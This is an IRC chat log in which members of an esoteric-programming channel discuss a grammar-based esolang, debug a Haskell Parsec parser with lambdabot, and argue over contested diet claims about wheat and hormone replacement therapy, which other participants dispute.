20:27:39 <Vorpal> elliott, anyway what sort of language is it? What is your opinion on the language as such
20:28:10 <elliott> It's like Java/C# had decent native-code performance and had a bastard child with Scheme and it turned out all disfigured and seriously, nddrylliog is going to kill me, stop talking about ooc.
20:28:21 <variable> <elliott> Oh, it's a terrible language. -> its not a terrible language *if you understand it and use it correctly* which 99.9% of programmers don't
20:28:30 <variable> because they learned from silly tutorial online
20:28:35 <elliott> variable: Its scoping rules are broken.
20:28:53 <Vorpal> elliott, the first bit didn't sound too bad ("decent native-code performance"), the rest however does
20:28:54 <variable> elliott, agreed. It could do with some changes - doesn't mean its absolutely horid
20:29:07 <elliott> variable: I have utmost respect for Brendan Eich, I realise he had about 10 days to create a language which looked like Java and he did the honourable thing of trying to make it as much like Scheme as possible ... but he forgot to make scoping not suck on the way there.
20:29:15 <elliott> Also, objects make painful associative arrays.
20:29:18 <Ilari> Hmm... Wonder how to create another esoteric language that seems to defy classification... :-/
20:29:26 <elliott> Ilari: WITH FIRE
20:29:32 <elliott> The language consists of pouring fire onto innocent children.
20:29:36 <elliott> The compiler is a bucket of fire.
20:29:41 <elliott> CATEGORISE THAT
20:30:03 <Vorpal> elliott, thing that annoys me about df: only some menus are mouse enabled. Some fully. Some only for some elements. Some not at all. Is consistency too much to ask for XD
20:30:14 <elliott> Vorpal: I doubt any REAL PLAYER uses the mouse.
20:31:07 <Vorpal> elliott, I don't unless I have a huge list and need to get an element near the middle :P
20:31:15 <Vorpal> elliott, in which case it is faster than scrolling with keyboard
20:34:58 -!- pumpkin has joined.
20:36:35 -!- copumpkin has quit (Ping timeout: 260 seconds).
20:40:17 <Ilari> F E D F I K F B K F A G L K K M L L N M M C I N H C J E C J E E H B E I A B N F 0 F 1 F o K 0 K 1 K i K o D 0 D 1 D o G 0 G 1 G i I i J o
20:42:07 <elliott> I ... agree!
20:44:57 <Ilari> Permuting the symbols a bit: A B C A D E A N E A F G H E E I H H J I I K D J L K M B K M B B L N B D F N J A 0 A 1 A o E 0 E 1 E i E o C 0 C 1 C o G 0 G 1 G i D i M o
20:45:33 <Vorpal> Ilari, do they have any meaning?
20:45:42 <Ilari> (that's supposed to be a cat program)
20:49:42 <Ilari> Let's just say that esolang is so heavy to execute that I wouldn't want to run 99 beers program made in it...
20:53:27 <Ilari> One kilobyte of data into that sort of cat program. Already used 2 minutes of CPU time and still not finished.
20:54:49 <Ilari> And it is not slow to load: if 16 bytes of test data is used, the finishing time is shown as 0:00.00
20:55:23 <elliott> How does it work?
20:55:30 <Ilari> 4 minutes +
20:56:45 <Ilari> Start with empty string. Then extend by one character it so that it won't match given Context Free Grammar. If no such extension is possible, quit.
20:57:04 <Ilari> And repeat the extension step.
20:57:30 <Ilari> 6min+
20:58:14 <elliott> Ilari: That's cool.
20:59:54 <Ilari> The string alphabet is 0, 1, i and o. 0 and 1 do nothing when placed. i causes byte to be read from stdin and written to end of the string using 0 and 1 (ignoring the grammar). o causes last 8 symbols to be read as byte and printed to stdout.
21:01:02 <Ilari> 446.40user 0.06system 7:27.13elapsed 99%CPU (0avgtext+0avgdata 413376maxresident)k
21:06:26 -!- Tritonio has joined.
21:07:16 <Ilari> That grammar can be written in regexp form: (i[01io]{8}o)*([01o]|i[01io]|i[01io]{8}[01i])
21:10:00 <quintopia> it sounds like you're trying to solve a pspace-complete problem and expecting it to be fast :P
21:10:10 -!- hagb4rd has joined.
21:11:07 <Ilari> Well, CFG recognition is in P.
21:14:08 <quintopia> decision is PSPACE-complete though, innit?
21:15:46 <quintopia> and what your program is doing amounts to deciding whether or not there is a string of arbitrary length that can be produced by a CFG
21:16:50 <quintopia> (in a lazy, give-up-quickly kind of way)
21:20:12 <Ilari> It repeatedly runs CFG recognition (and that's in P).
21:21:13 -!- hagb4rd has quit (Ping timeout: 240 seconds).
21:21:22 <quintopia> okay
21:21:31 <quintopia> then make it fast
21:26:13 -!- hagb4rd has joined.
21:32:53 -!- hagb4rd has quit (Ping timeout: 240 seconds).
21:35:03 <Ilari> I have already optimized it a lot. Reading logs: Speedup hello world by 41 percent ... 55 percent... 86 percent... 286 percent... 118 percent... 440 percent... 38 percent...
21:47:49 -!- variable has quit (Quit: Daemon escaped from pentagram).
21:54:45 -!- MigoMipo has quit (Read error: Connection reset by peer).
21:57:20 -!- Sgeo has joined.
21:59:18 -!- augur has quit (Read error: Connection reset by peer).
21:59:41 -!- Sgeo_ has quit (Ping timeout: 240 seconds).
21:59:47 -!- augur has joined.
22:10:00 <elliott> 16:18:02 <Sgeo> hm
22:10:00 <elliott> 16:18:31 <Sgeo> Anyone use EsoAPI or PESOIX?
22:10:01 <elliott> 16:24:44 <Sgeo> Anyone use BFComp?
22:10:01 <elliott> AAAAAAAAAAAA
22:10:13 <Vorpal> elliott, what is BFComp?
22:10:19 <elliott> who knows
22:10:29 <Vorpal> also is PESOIX a new one?
22:10:33 <elliott> No.
22:10:35 <elliott> It's an old one.
22:10:40 <elliott> Sgeo's DISSATISFACTION with it lead to PSOX.
22:10:42 <elliott> I'm logreading.
22:15:49 -!- poiuy_qwert has joined.
22:16:00 -!- variable has joined.
22:16:15 -!- poiuy_qwert has quit (Client Quit).
22:23:06 <Phantom_Hoover> http://en.wikipedia.org/wiki/Zev_(later_Xev)_Bellringer
22:23:14 <Phantom_Hoover> What an utterly stupid title.
22:27:11 <elliott> xD
22:35:01 -!- pumpkin has quit (Quit: Computer has gone to sleep.).
22:36:16 <Ilari> Heh... "Death by GPS".
22:37:51 -!- variable has quit (Quit: Daemon escaped from pentagram).
22:42:35 -!- nddrylliog has joined.
22:42:50 -!- nddrylliog has left (?).
22:43:29 -!- elliott_ has joined.
22:43:36 <elliott_> hmm, I wonder if
22:43:38 -!- elliott has quit (Read error: Connection reset by peer).
22:43:38 <elliott_> yet no...
22:43:40 <elliott_> but
22:43:44 <elliott_> hmm
22:44:09 <elliott_> @hoogle [Parser a] -> Parser a
22:44:09 <lambdabot> No results found
22:44:11 -!- elliott_ has changed nick to elliott.
22:44:16 -!- elliott has quit (Changing host).
22:44:16 -!- elliott has joined.
22:44:18 <elliott> @hoogle parsec
22:44:18 <lambdabot> package parsec
22:44:18 <lambdabot> module Text.Parsec
22:44:18 <lambdabot> module Text.ParserCombinators.Parsec
22:44:23 <elliott> :|
22:45:27 -!- hagb4rd has joined.
22:45:42 <elliott> @pl choice . map (\(c,r) -> char c *> return r)
22:45:42 <lambdabot> choice . map (uncurry ((. return) . (*>) . char))
22:45:45 <elliott> bleh
22:46:07 <elliott> :t foldl'
22:46:08 <lambdabot> forall a b. (a -> b -> a) -> a -> [b] -> a
22:46:22 -!- FireFly has quit (Quit: swatted to death).
22:46:24 <elliott> @pl foldl' (\poop (c,r) -> poop <|> (char c *> return r))
22:46:24 <lambdabot> foldl' ((`ap` snd) . (. fst) . (. ((. return) . (*>) . char)) . (.) . (<|>))
22:46:28 <elliott> @pl foldl' (\poop (c,r) -> poop <|> (char c *> return r)) pzero
22:46:28 <lambdabot> foldl' ((`ap` snd) . (. fst) . (. ((. return) . (*>) . char)) . (.) . (<|>)) pzero
22:46:31 <elliott> ouch
22:46:39 <elliott> @pl foldlr (\(c,r) poop -> poop <|> (char c *> return r))
22:46:39 <lambdabot> foldlr (uncurry ((flip (<|>) .) . (. return) . (*>) . char))
22:46:46 <elliott> @pl foldlr (\(c,r) poop -> (char c *> return r) <|> poop)
22:46:46 <lambdabot> foldlr (uncurry (((<|>) .) . (. return) . (*>) . char))
22:46:50 <elliott> @pl foldr (\(c,r) poop -> (char c *> return r) <|> poop)
22:46:50 <lambdabot> foldr (uncurry (((<|>) .) . (. return) . (*>) . char))
22:46:51 <elliott> meh
22:54:28 -!- hagb4rd has quit (Ping timeout: 240 seconds).
23:01:17 <Phantom_Hoover> http://www.cracked.com/article_15982_5-horrifying-food-additives-youve-probably-eaten-today.html
23:01:21 <Phantom_Hoover> More idiocy!
23:01:43 <Phantom_Hoover> ...these people find bacteriophages nauseating.
23:01:44 <Phantom_Hoover> What.
23:03:04 <elliott> :t (<|>)
23:03:05 <lambdabot> forall (f :: * -> *) a. (Alternative f) => f a -> f a -> f a
23:03:15 <elliott> Phantom_Hoover: Oh shush, Cracked is amusing.
23:03:18 <elliott> :t (<$>)
23:03:19 <lambdabot> forall a b (f :: * -> *). (Functor f) => (a -> b) -> f a -> f b
23:03:33 <Phantom_Hoover> elliott, yes, but you can't churn out amusing articles all the time.
23:03:43 <Phantom_Hoover> And they are perfectly capable of producing dross.
23:03:51 <elliott> @hoogle f a -> (a -> b) -> f b
23:03:52 <lambdabot> Prelude fmap :: Functor f => (a -> b) -> f a -> f b
23:03:52 <lambdabot> Control.Applicative (<$>) :: Functor f => (a -> b) -> f a -> f b
23:03:52 <lambdabot> Control.Monad fmap :: Functor f => (a -> b) -> f a -> f b
23:04:04 <elliott> @pl flip fmap
23:04:04 <lambdabot> flip fmap
23:09:10 <elliott> @pl do x <- pSimpleUL; xs <- pUL; return (x :< xs)
23:09:10 <lambdabot> (line 1, column 18):
23:09:10 <lambdabot> unexpected ";"
23:09:10 <lambdabot> expecting letter or digit, variable, "(", "`", "!!", ".", operator or end of input
23:09:13 <elliott> @undo do x <- pSimpleUL; xs <- pUL; return (x :< xs)
23:09:13 <lambdabot> pSimpleUL >>= \ x -> pUL >>= \ xs -> return (x :< xs)
23:09:18 <elliott> @pl pSimpleUL >>= \ x -> pUL >>= \ xs -> return (x :< xs)
23:09:18 <lambdabot> (`fmap` pUL) . (:<) =<< pSimpleUL
23:09:39 <elliott> :t (=<<)
23:09:40 <lambdabot> forall a (m :: * -> *) b. (Monad m) => (a -> m b) -> m a -> m b
23:10:23 <Ilari> Hah... Yet another blogpost from Dr. Davis slamming wheat.
23:14:56 <Phantom_Hoover> Ilari, what's wrong with wheat?
23:16:26 <Ilari> Phantom_Hoover: Collection of posts about wheat among multiple blogs: http://nigeepoo.blogspot.com/2010/03/wheat-oh-dear.html ...
23:17:01 <Phantom_Hoover> Wheat as in the grain?
23:17:19 <Ilari> Yes.
23:17:22 <Phantom_Hoover> He has a BSc in engineering, so I'm assuming crackpot.
23:19:55 <Ilari> That list of blogposts about wheat in The Heart Scan Blog (Dr. Davis) is quite impressive.
23:20:36 -!- BeholdMyGlory has quit (Remote host closed the connection).
23:21:41 <Ilari> The Antony Colpo page (The Whole Grain Scam) is pretty funny. It is mainly E-Mail exchange between Colpo and some PhD idiot (presumably PhD on nutrion or somesuch).
23:24:11 -!- augur has quit (Remote host closed the connection).
23:27:36 <Phantom_Hoover> PhD idiots are the BEST kind of idiots!
23:28:04 -!- variable has joined.
23:29:37 <Phantom_Hoover> Ilari, wait, is Colpo also an engineer?
23:29:38 <elliott> hmm
23:29:40 <elliott> this makes no sense
23:29:58 <elliott> Googling Antony Colpo results in http://www.thegreatcholesterolcon.com/.
23:30:01 <Phantom_Hoover> (Engineers make up the majority of the PhD idiot population.)
23:30:03 <elliott> Gotta trust anyone with one of those long-email-signup pages.
23:30:43 <Ilari> Yup, Anthony Colpo wrote one of (there are multiple!) books titled "The Great Cholesterol Con".
23:30:57 <elliott> And made one of those awful spammy websites for it too!
23:30:58 <Phantom_Hoover> Ilari, "nutcase" is written all over him.
23:31:19 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]).
23:31:21 <Phantom_Hoover> The stupid emphasis alone condemns him.
23:31:32 <Ilari> Dr. Malcolm Kendrik has also written a book with that title.
23:32:47 <Phantom_Hoover> "Evolutionary Medicine Forum".
23:32:49 <Phantom_Hoover> What.
23:33:04 -!- amca has joined.
23:33:19 <Phantom_Hoover> Is that like medicine with genetic algorithms?
23:34:15 <Ilari> While epidemilogical studies are rather crappy, just check what kind of figures China Study comes up with connection between Wheat and heart disease (and various other nasty things). Ouch.
23:34:36 -!- Sgeo_ has joined.
23:34:59 <Phantom_Hoover> "China Study" does not scream "reputable source" at me.
23:35:05 <Ilari> One of the best warnings about where too much trust on results of epidemilogical studies can lead, see Hormone Replacement Therapy.
23:35:33 <variable> a) heh - I was reading a while ago some study that showed that most studies were wrong
23:35:46 <elliott> Phantom_Hoover: Seems like http://en.wikipedia.org/wiki/The_China_Study_(book)
23:35:48 <Ilari> There is study (two actually) titled China Study. There's also book titled "The China Study" (pretty much total garbage).
23:35:49 -!- augur has joined.
23:35:52 <elliott> http://en.wikipedia.org/wiki/China-Oxford-Cornell_Study_on_Dietary,_Lifestyle_and_Disease_Mortality_Characteristics_in_65_Rural_Chinese_Counties
23:36:02 <variable> b) one study that I've been dying to do for a while is to correlate the price of tea in china with other random events :-}
23:36:40 <elliott> "What's that got to do with the price of tea in China?" "...as it turns out, absolutely nothing. Interesting!"
23:36:49 <elliott> "Perhaps I could use this as a random number generator."
23:37:12 <Phantom_Hoover> variable, do it on the price of fish as well.
23:37:33 <variable> Phantom_Hoover, hrm ?
23:37:46 <Phantom_Hoover> "What's that got to do with the price of fish?"
23:37:56 <variable> never heard that before
23:38:07 <Ilari> And BTW, don't expect balanced discussion of The China Study (the book) on Wikipedia. There are some veganist admins there and The China Study is one of veganist bibles...
23:38:27 -!- Sgeo has quit (Ping timeout: 276 seconds).
23:38:58 <Phantom_Hoover> Ilari, you are now actually going into full-on conspiracy nutcase mode.
23:39:07 <Phantom_Hoover> This is a pity, because I quite liked you.
23:39:35 <variable> Phantom_Hoover, nearly everyone believes something completely irrational
23:39:42 <elliott> variable: not really.
23:39:49 <Phantom_Hoover> variable, indeed. I feel that this is why we can't have nice things.
23:39:49 <elliott> Well, sure, but not to a significant extent.
23:39:53 <elliott> (Most people, not nearly everyone.)
23:39:54 <variable> elliott, hang on a sec - there was a study on that
23:40:03 <elliott> variable: I thought most studies were wrong. Isn't there a study about that?
23:40:07 <variable> it was > 95% of people - which I consider nearly everyone
23:40:08 <elliott> Ilari: there are about a thousand wikipedia admins
23:40:10 <variable> elliott, yes :-}
23:41:18 <variable> elliott, its actually healthy to believe certain types of delusional things (like that one is above average in most areas)
23:41:50 <Ilari> Well, out of thoursand people, there are likely to be one or few veganists in that group...
23:42:11 <Phantom_Hoover> Ilari, yes, and there are likely to be a few hardcore anti-vegans.
23:42:13 <variable> (one group of things I know really well are cognitive biases and flaws)
23:42:14 <Phantom_Hoover> Point?
23:42:19 <elliott> variable: But beware of Dunning-Kruger...
23:42:26 <elliott> Also, "yeah, we read Less Wrong too". :p
23:42:31 <elliott> Oh wait, I linked you to LW didn't I...
23:42:36 <variable> LW ?
23:42:38 <Phantom_Hoover> I don't because I am a hipster.
23:42:43 <elliott> variable: Less Wrong.
23:42:47 <pikhq> Phantom_Hoover: Read it ironically.
23:42:47 <variable> oh right - less wrong - yeah - you did
23:42:57 <pikhq> Phantom_Hoover: And then assert the earth is 6,000 years old.
23:43:06 <Phantom_Hoover> pikhq, that's been done.
23:43:09 <elliott> http://en.wikipedia.org/wiki/Talk:The_China_Study_(book)
23:43:13 <elliott> Oh dear god.
23:43:15 <variable> elliott, I wrote a paper for university on the Dunning-Kruger effect :-}
23:43:17 <pikhq> After all, "THE BIBLE SAYS SO AND IT'S THE WORK OF GOD THEREFORE YES."
23:43:18 <elliott> lol at this joke: "I suggest we delete ANY criticism of this work immediately. Wikipedia has a duty to protect this important book/study. Conflicting studies should be expunged. Articles or quotes from conflicting Doctors need to be deleted or at least make sure you remove 'Dr.' from their name as to discredit."
23:43:26 <elliott> variable: HOW DEFORMED IS YOUR MOUTH
23:43:39 <variable> elliott ☺ happy?
23:43:45 <elliott> you forgot to wrinkle it!
23:43:59 <Ilari> elliott: How you know that's a joke?
23:44:09 <elliott> Ilari: Because I was built with a sense of humour.
23:44:20 <variable> elliott, ;--!()
23:44:24 <elliott> Even if the start was believable "or at least make sure you remove 'Dr.' from their name as to discredit." gives it away as a joke.
23:44:58 <Ilari> Poe's Law does apply to veganists.
23:45:57 <elliott> Is there a reason you're saying "veganists" rather than "vegans"? ... Anyway, I know a few and they're not exactly evil or anything. :p
23:46:13 <Phantom_Hoover> elliott, CARROTS SCREAM TOO
23:46:24 <Phantom_Hoover> i am not a veganist i do not believe in vegans
23:46:39 <elliott> Phantom_Hoover: sure you're aveganist, like atheists don't believe in god
23:46:43 <elliott> aveganists don't believe in vegans
23:46:50 <elliott> i guess atheists don't believe in the
23:46:52 <elliott> :D
23:48:15 <Sgeo_> elliott, I think I did ponder implementing it before becoming dissatisfied
23:48:17 <Ilari> Veganists are who take veganism to heights of fundamentalist religion.
23:49:00 <Phantom_Hoover> Sgeo_, shut up, me and elliott are ganging up on Ilari right now.
23:49:13 <elliott> Am I?
23:49:17 <elliott> I'm just commenting from the sidelines.
23:49:38 <Sgeo_> Is Ilari veganist or anti-veganist?
23:49:44 <Phantom_Hoover> Sgeo_, anti.
23:49:52 <Phantom_Hoover> DID YOU KNOW THAT WHEAT IS A CONSPIRACY
23:49:56 <Phantom_Hoover> AN ENGINEER SAYS SO
23:50:07 <Ilari> Dr. Davis is an engineer?
23:50:25 <elliott> Wheat killed my family, with its teeth.
23:50:27 <Phantom_Hoover> I'm talking about that Nigel guy. I'll stop the ad homs now.
23:50:28 <elliott> Teeth and knives.
23:50:38 <Phantom_Hoover> Wheat is a MUTANT
23:50:53 <elliott> Actually if wheat had teeth that would be kinda cool except not really.
23:50:55 <Ilari> That "mutant wheat" stuff sounds more like from Dr. Davis...
23:50:57 <elliott> That's my observation for the day.
23:51:21 <Phantom_Hoover> Ilari, erm, wheat actually is a mutant.
23:51:30 <elliott> A mutant LOVE.
23:51:31 <Phantom_Hoover> It's kind of an integral part of its usefullness.
23:51:49 <Phantom_Hoover> Wild wheat shatters when its seeds have ripened, scattering them onto the earth.
23:52:07 <Phantom_Hoover> This is good if you are a wheat plant but bad if you like eating wheat seeds.
23:52:16 <elliott> `addquote <Phantom_Hoover> This is good if you are a wheat plant but bad if you like eating wheat seeds.
23:52:22 <elliott> "This is good if you are a wheat plant" is the best thing anybody has ever said.
23:52:31 <Sgeo_> It occurs to me that I know little about wheat
23:52:39 <Sgeo_> Wheaty foods come from the wheat's seeds?
23:52:50 <Sgeo_> or, just whole grain with those annoying seeds?
23:53:17 <Phantom_Hoover> Sgeo_, whole grain is when the husks are left in.
23:53:23 <HackEgo> 288) <Phantom_Hoover> This is good if you are a wheat plant but bad if you like eating wheat seeds.
23:53:24 <Ilari> I think there are many more hardcore vegans than hardcore anti-vegans... Especially when talking about people elevating it to fundamentalist heights.
23:54:05 <Sgeo_> I think she started turning her cheek towards me
23:55:08 <Phantom_Hoover> Sgeo_, what.
23:55:19 <Phantom_Hoover> Even contexting in KT-AT that still makes no sense.
23:56:50 <Ilari> I don't seek comments from fundamentalist vegans. Way way too painful to read anything that crazy.
23:57:11 <elliott> Animals are our friends, man.
23:57:20 <Phantom_Hoover> Dude.
23:57:42 <Sgeo_> When we hug
23:57:50 <Phantom_Hoover> OH GOD NO
23:57:58 <Phantom_Hoover> ELLIOTT DO NOT LOGREAD THIS
23:58:03 <Phantom_Hoover> YOUR MIND WILL BE DESTROYED
23:58:19 * Phantom_Hoover braces himself
23:58:50 <Phantom_Hoover> Sgeo_, WHY IS THIS EVEN WORTH MENTIONING
23:59:30 <elliott> I think my bones are melting just from PH's reaction.
23:59:34 <elliott> MY *BONES*
23:59:35 <elliott> ARE *MELTING*
23:59:40 <Ilari> (In general any fundamentalist comments are usually just plain too painful to read).
2011-02-04
00:00:44 <Sgeo_> I have more I want to say
00:01:12 <Phantom_Hoover> Sgeo_, http://sgeo.diagonalfish.net/StapleStupdity_censored.JPG
00:01:18 <Phantom_Hoover> What, exactly, is stupid here?
00:02:13 <Sgeo_> 5000 staples, 210 in each block?
00:02:21 <Sgeo_> [I don't remember what it says, I can't read it]
00:02:33 <elliott> Staples have no brain, they are inherently stupid.
00:02:44 <Sgeo_> But you can't have a while number things of 210 and have that add up to 5000
00:03:22 <Phantom_Hoover> *whole
00:03:35 <Gregor> *for
00:03:48 <elliott> <elliott> Staples have no brain, they are inherently stupid.
00:03:48 <elliott> <Phantom_Hoover> *whole
00:03:48 <elliott> <Gregor> *for
00:03:49 <Ilari> Oh, and worse is that the association between wheat and various diseases doesn't seem to have much contribution from confounders (of course, being epidemiological in nature, you can never eliminate confounders).
00:04:08 <Ilari> *completely eliminate
00:04:21 <elliott> *for
00:04:22 <elliott> *whole
00:04:25 <elliott> *comlepetly
00:04:28 <Phantom_Hoover> Sgeo_, actually, serious question.
00:04:54 <Phantom_Hoover> You have repeatedly shown that you had an interest in mathematics when younger, but you don't evidence this any more.
00:05:31 <Ilari> (For example, see HRT).
00:05:45 <Phantom_Hoover> Ilari, what are you going on about HRT for.
00:06:42 <Sgeo_> Hmm. I think partly, it was deciding that I'm not particularly likely to succeed in doing novel stuff, and partly not having ready access to infinite pen and paper, and partly constant Internet access, maybe
00:07:19 <Sgeo_> I still have some interest
00:07:33 <Sgeo_> It's just there's nothing to play with, and no suitable environment
00:07:59 <Ilari> Hormone Replacement Therapy is good example of how epidemiological studies can go wrong. Basically, a therapy that seemed to be benefical based on epidemiological studies. It was introduced to wide use based on that evidence. Then clinical trials were done on its effectiveness. It turned to be actually deadly.
00:08:53 -!- copumpkin has joined.
00:09:46 <Phantom_Hoover> Ilari, an increased risk of cancer does not count as deadly.
00:09:47 <Ilari> Moral of the story: Even if something seems harmful in epidemiological studies doesn't mean it is actually harmful. And if something seems benefical, it might not actually be. You need clinical trials (adjusting only single variable at a time!) to see if something is benefical, harmful or neutral.
00:11:58 <Ilari> Oh, and also poking at the relvant biochemistry can be helpful.
00:12:35 <Ilari> Thus the rather impressive correlation coefficients between wheat and heart disease say nothing more than that the reasons behind the link should be investigated as there may very well be something interesting...
00:12:43 <elliott> <Phantom_Hoover> Ilari, an increased risk of cancer does not count as deadly.
00:12:44 <elliott> agreed
00:13:14 <Ilari> Also Heart Disease and Stroke.
00:13:26 <elliott> Still not "deadly".
00:13:47 <Phantom_Hoover> And my impression is that the increased risk of cancer does not come near outweighing the definite gain in quality of life it gives.
00:14:12 <elliott> And Phantom_Hoover would know!
00:14:20 <elliott> OH
00:14:21 <elliott> SNAPPETH
00:14:34 <Phantom_Hoover> elliott, well, I am sourcing this from parents who are doctors.
00:14:57 <elliott> Probably doctors who inject people with cancer because they're evil.
00:15:06 <elliott> Confirm? Or deny? Or just confirm?
00:15:16 <Ilari> And even if something is clinical study, don't assume it is done well. Garbage studies that change N + 1 variables and then blame 1 for the difference are dime dozen.
00:15:35 <elliott> Wow, it was predicted in 1990 that IPv4 would be exhausted circa 2011.
00:15:43 <elliott> Must have seemed pretty far off...
00:15:56 <Gregor> Something tells me that in "Gnomeo and Juliet" (*vomits*) the title characters don't die tragically.
00:16:34 <elliott> Gregor: I've seen two adverts for that so far and I just want to cry.
00:16:35 <elliott> Endlessly.
00:16:41 <elliott> Gregor: But oh god, I hope they do.
00:16:44 <elliott> That would be amazing.
00:16:49 <elliott> Gregor: Although I'm not sure I agree with "tragically".
00:16:51 <elliott> Try "moronically".
00:16:58 <Phantom_Hoover> What is this thing?
00:16:58 <elliott> "Gnomeo & Juliet
00:16:58 <elliott> A version of Shakespeare's play, set in the world of warring indoor and outdoor gnomes."
00:17:01 <Phantom_Hoover> Gnomeo?
00:17:02 <elliott> Phantom_Hoover: THE WORST.
00:17:07 <Phantom_Hoover> I DO NOT GET IT
00:17:10 <elliott> "Patrick Stewart as William Shakespeare"
00:17:11 <elliott> WHY DID YOU AGREE
00:17:12 <elliott> WHY
00:17:13 <elliott> WHY
00:17:14 <elliott> WHY
00:17:15 <elliott> PATRICK
00:17:15 <elliott> WHY
00:17:19 <elliott> ;_;
00:17:25 * elliott sobs
00:18:00 <elliott> "Hulk Hogan as Terrafirmenator"
00:18:01 <elliott> :what:
00:18:25 <Sgeo_> Is this increased risk of cancer stuff for all hormone replacement therapy?
00:18:27 <Phantom_Hoover> I AM CLOSE TO GOOGLING AND I DO NOT WANT TO
00:18:34 <elliott> Phantom_Hoover: THEY GOT PATRICK STEWART
00:18:36 <elliott> NOBODY CAN SURVIVE
00:20:06 -!- Phantom_Hoover has quit (Quit: Leaving).
00:20:06 <elliott> *Main> parse pUL "foo" "(~~)"
00:20:07 <elliott> Left "foo" (line 1, column 4):
00:20:07 <elliott> unexpected ')'
00:20:07 <elliott> expecting "~", ":", "!", "*", "a", "^", "S", "(" or end of input
00:20:07 <elliott> *Main> parse pUL "foo" "(~~"
00:20:08 <elliott> Left "foo" (line 1, column 4):
00:20:10 -!- Phantom__Hoover has joined.
00:20:11 <elliott> unexpected end of input
00:20:13 <elliott> expecting ")"
00:20:16 <elliott> WHAT DO YOU WANT FROM ME
00:20:50 -!- hagb4rd has joined.
00:20:53 <Ilari> Well, don't expect balanced discussion of *anything* on wikipedia (some subjects are better, some worse in this regard).
00:21:15 <elliott> Wikipedia isn't for discussion.
00:21:20 <elliott> It's an encyclopedia.
00:21:22 <Phantom__Hoover> 00:34:48 <Sgeo_> Is this increased risk of cancer stuff for all hormone replacement therapy? ← menopausal is the only one I'm sure about.
00:21:34 <Ilari> Well, don't execpt balanced discussion of anything anywhere....
00:21:41 <Phantom__Hoover> Ilari, that is because you hold a crank position, and WP is sane through force of numbers.
00:21:59 <elliott> WHY ISN'T THIS WORKING WHYYY
00:22:18 <Ilari> "Crowsourcing" only works if there is no systematic bias.
00:22:19 <Phantom__Hoover> BECAUSE YOU EAT TOO MUCH WHEAT WITH HRT IN IT
00:22:28 <elliott> WHeaRT.
00:23:00 <Sgeo_> What's Ilari's position? "Wheat is bad"?
00:23:04 <elliott> WHY IS THIS SO BROKEN
00:23:56 <Ilari> What is actually healthy food to eat? What causes the current epidemics of obesity, diabetes, etc... Nobody knows. There are only some reasonable (and lots of unreasonable) suspicions...
00:24:26 <elliott> The answer is films about gnomes.
00:24:28 -!- cheater00 has joined.
00:24:58 <pikhq> Well, it's certainly not *solely* wheat. Especially as in centuries past, wheat was a *very* large portion of the common diet in many cultures.
00:25:01 -!- Phantom__Hoover has quit (Client Quit).
00:25:13 -!- Phantom__Hoover has joined.
00:25:23 <elliott> Wheat is pretty tasty. Adding a data point here.
00:25:42 <pikhq> Sugar's at least plausible — we certainly use much more of it than we did even, say, 50 years ago.
00:25:43 <Phantom__Hoover> I DON'T THINK THIS ROUTER LIKES ME VERY MUCH
00:26:15 <pikhq> And in the US, at least, you can probably put a lot of the blame on portion sizes.
00:26:56 <Ilari> Also, nutrient defiencies can play pretty major roles. Modern agriculture really depletes the soil. Fertilizers only make the plants grow well, they don't add the various trace elements, so the result is food becoming weaker and weaker in nutrients.
00:27:18 <pikhq> http://upload.wikimedia.org/wikipedia/commons/6/6f/CountryFriedSteak.jpg This is a deep-fried steak. And yes, it is sufficiently large to count as its own plate.
00:27:34 <pikhq> Ilari: Though there was quite a lot of nutrient deficiency in the past as well.
00:27:38 -!- cheater- has quit (Ping timeout: 240 seconds).
00:27:57 <Ilari> Well, grains are poor sources of nutrients anyway.
00:28:09 <elliott> <pikhq> http://upload.wikimedia.org/wikipedia/commons/6/6f/CountryFriedSteak.jpg This is a deep-fried steak. And yes, it is sufficiently large to count as its own plate.
00:28:11 <elliott> vomit
00:28:19 <Phantom__Hoover> elliott, DEEP FRIED PIZZA
00:28:20 <pikhq> Probably more than there is now.
00:28:29 <pikhq> elliott: Chicken fried steak is actually freaking delicious.
00:28:31 <elliott> I want to try a deep-fried Mars bar at some point. :p
00:28:43 <elliott> pikhq: I'm not stopping vomiting.
00:28:43 <Sgeo_> I've been eating Snickers and Milky Ways
00:29:01 <Ilari> Oh, and people also subjected grains to pretty heavy processing in the past (that's not done anymore)...
00:29:16 <pikhq> Ilari: Oh?
00:29:25 <Ilari> That actually improves nutrient bioavailablity a lot.
00:29:56 <pikhq> I thought that our processing was pretty similar to what was done in the past, modulo food industry's fondness for sticking chemicals in it for the sake of the bottom line.
00:30:16 <elliott> THIS IS SO FAIL I MIGHT CRY
00:30:22 <pikhq> elliott: ?
00:30:26 <elliott> my parsec parser
00:30:28 <elliott> it doesn't work
00:30:32 <pikhq> :(
00:30:36 <elliott> you should fix it
00:30:41 <elliott> 05.11.08:16:15:39 <beerkills> Sgeo
00:30:41 <elliott> 05.11.08:16:15:59 <beerkills> I call myself Sgeo everywhere but Freenode
00:32:41 <Ilari> And of course, the amounts of nutrients actually in there were much better in the past...
00:32:57 <pikhq> Ilari: What, exactly, processing was done previously that isn't now?
00:33:14 <elliott> BEAR PROCESSING
00:33:27 <elliott> on ipv6 depletion: http://www.reddit.com/r/technology/comments/feijg/no_unicast_ipv4_8s_remain_unallocated/c1fbsv8
00:33:40 * pikhq suspects that it has something to do with how a lot of the industrial food BS that's available also doesn't *taste* any good.
00:33:43 <Ilari> Soaking, sprouting, fermenting (etc...)
00:34:14 <pikhq> Could've sworn that was all rather commonly done to grain still.
00:34:19 <Ilari> Oh, and processed food tends to be really crap in nutrients (just see the amount of processed crap people eat).
00:34:39 <elliott> "I came here to kick ass and assign IPv4 addresses, and I'm all out of IPv4 addresses." --reddit
00:34:49 <pikhq> Anyways, yeah, I will agree that modern agriculture sucks.
00:34:50 -!- Phantom__Hoover has quit (Ping timeout: 240 seconds).
00:34:52 <Ilari> IIRC, Fermenting is commonly done to one of the grains.
00:35:27 <Ilari> But now that an alternative to that exists...
00:35:29 <pikhq> Sure, it produces a *fuckton* of food, but it produces shitty food in a manner that we *can't* keep doing.
00:35:58 <pikhq> Ilari: What, are they doing chemical leavening for bread instead of yeast?
00:36:32 <pikhq> Ilari: If so, no *wonder* store-bought white bread has such a bizarre texture. In addition to being the blandest bread ever.
00:37:09 <Ilari> Maybe... But leavening using yeast doesn't count as heavy processing.
00:37:27 <pikhq> It's fermentation.
00:37:59 <Ilari> And IIRC, chemical leavening is widely used...
00:39:11 <elliott> who do I blame for this not working
